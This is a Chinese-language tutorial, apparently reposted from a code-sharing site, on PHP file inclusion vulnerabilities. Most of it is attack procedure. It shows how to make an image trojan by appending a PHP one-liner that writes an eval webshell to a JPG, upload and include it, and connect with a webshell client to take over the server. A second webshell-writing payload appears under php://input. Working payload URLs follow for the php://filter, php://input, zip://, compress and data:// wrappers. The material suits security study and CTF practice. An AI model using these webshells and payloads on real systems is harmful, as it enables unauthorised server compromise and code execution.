文件包含漏洞詳解


1、文件包含漏洞簡介

  文件包含漏洞是“代碼注入”的一種,其原理就是注入一段用戶能控制的腳本或者代碼,並讓服務器執行。

2、常見的文件包含的函數

  PHP:include(),include_once,require(),require_once(),fopen(),readfile()...

  JSP/Servlet:ava.io.File(),java.io.FileReader()...

  ASP:include file,inclede virtual...

3、文件包含漏洞分類

  本地文件包含:包含網站服務器上的文件

  遠程文件包含:包含別的(自己)服務器上的文件

4、演示

【制作圖片馬】

准備一張 jpg格式的圖片,不能太大,保存為 1.jpg

新建一個文本文檔,寫入<?fputs(fopen("shell20.php","w"),'<?php @eval($_POST[pass]);?>')?>,保存為 2.txt

使用cmd制作一個圖片馬:copy 1.jpg/b + 2.php/a 3.jpg

【本地文件包含】

利用文件上傳漏洞,把文件 3.jpg 上傳到服務器

 

使用文件包含漏洞,執行 3.jpg(包含的圖片不能太大)

 會生成一個 shell20.php 的一句話木馬文件,使用蟻劍進行連接

 【遠程文件包含】

在自己的服務器上寫一個圖片馬,然后用目標網站的文件包含漏洞包含自己服務器上的圖片馬

 然后和本地文件包含一樣,在目標服務器內生成一句話木馬,然后使用蟻劍進行連接,拿下服務器。

5、PHP 偽協議

【file:// 協議】

簡介:file:// 用於訪問本地文件系統,在CTF中通常用來讀取本地文件的且不受allow_url_fopen與allow_url_include的影響

用法:file:// [文件的絕對路徑和文件名]

實例:http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

php.ini:

file:// 協議在雙off的情況下也可以正常使用;

 

allow_url_fopen :off/on

allow_url_include:off/on

 

【php:// 協議】

簡介:php:// 訪問各個輸入/輸出流(I/O streams),在CTF中經常使用的是php://filter和php://input,php://filter用於讀取源碼,php://input用於執行php代碼。

條件:不需要開啟allow_url_fopen,僅php://input、 php://stdin、 php://memory 和 php://temp 需要開啟allow_url_include。

 

【php://filter】

簡介:php://filter 讀取源代碼並進行base64編碼輸出,不然會直接當做php代碼執行就看不到源代碼內容了。

實例:http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php

PHP.ini:

php://filter 在雙off的情況下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

【php://input】

簡介:php://input 可以訪問請求的原始數據的只讀流, 將post請求中的數據作為PHP代碼執行。

 

實例:http://127.0.0.1/cmd.php?file=php://input [POST DATA] <?php phpinfo()?>

 

也可以POST生成一句話: <?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’);?>

 

PHP.ini:

allow_url_fopen :off/on

allow_url_include:on

 

【zip://, bzip2://, zlib://協議】

簡介:zip://, bzip2://, zlib:// 均屬於壓縮流,可以訪問壓縮文件中的子文件,更重要的是不需要指定后綴名。

PHP.ini:

zip://, bzip2://, zlib://協議在雙off的情況下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

 

【zip://協議】

用法:zip://archive.zip#dir/file.txt

   zip:// [壓縮文件絕對路徑]#[壓縮文件內的子文件名]

實例:http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt

測試:

先將要執行的PHP代碼寫好文件名為phpcode.txt,將phpcode.txt進行zip壓縮,壓縮文件名為file.zip,如果可以上傳zip文件便直接上傳,若不能便將file.zip重命名為file.jpg后在上傳,其他幾種壓縮格式也可以這樣操作。

由於#在get請求中會將后面的參數忽略所以使用get請求時候應進行url編碼為%23,且此處經過測試相對路徑是不可行,所以只能用絕對路徑。

 

【bzip2://協議】

用法:compress.bzip2://file.bz2

實例:http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

   http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

 

【zlib://協議】

用法:compress.zlib://file.gz

實例:http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

   http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

 

【data://協議】

經過測試官方文檔上存在一處問題,經過測試PHP版本5.2,5.3,5.5,7.0;data:// 協議是是受限於allow_url_fopen的,官方文檔上給出的是NO,所以要使用data://協議需要滿足雙on條件

PHP.ini:

data://協議必須雙在on才能正常使用;

allow_url_fopen :on

allow_url_include:on

實例:

http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>

http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>

http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

小結

 參考鏈接:https://www.freebuf.com/column/148886.html

     https://segmentfault.com/a/1190000018991087


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM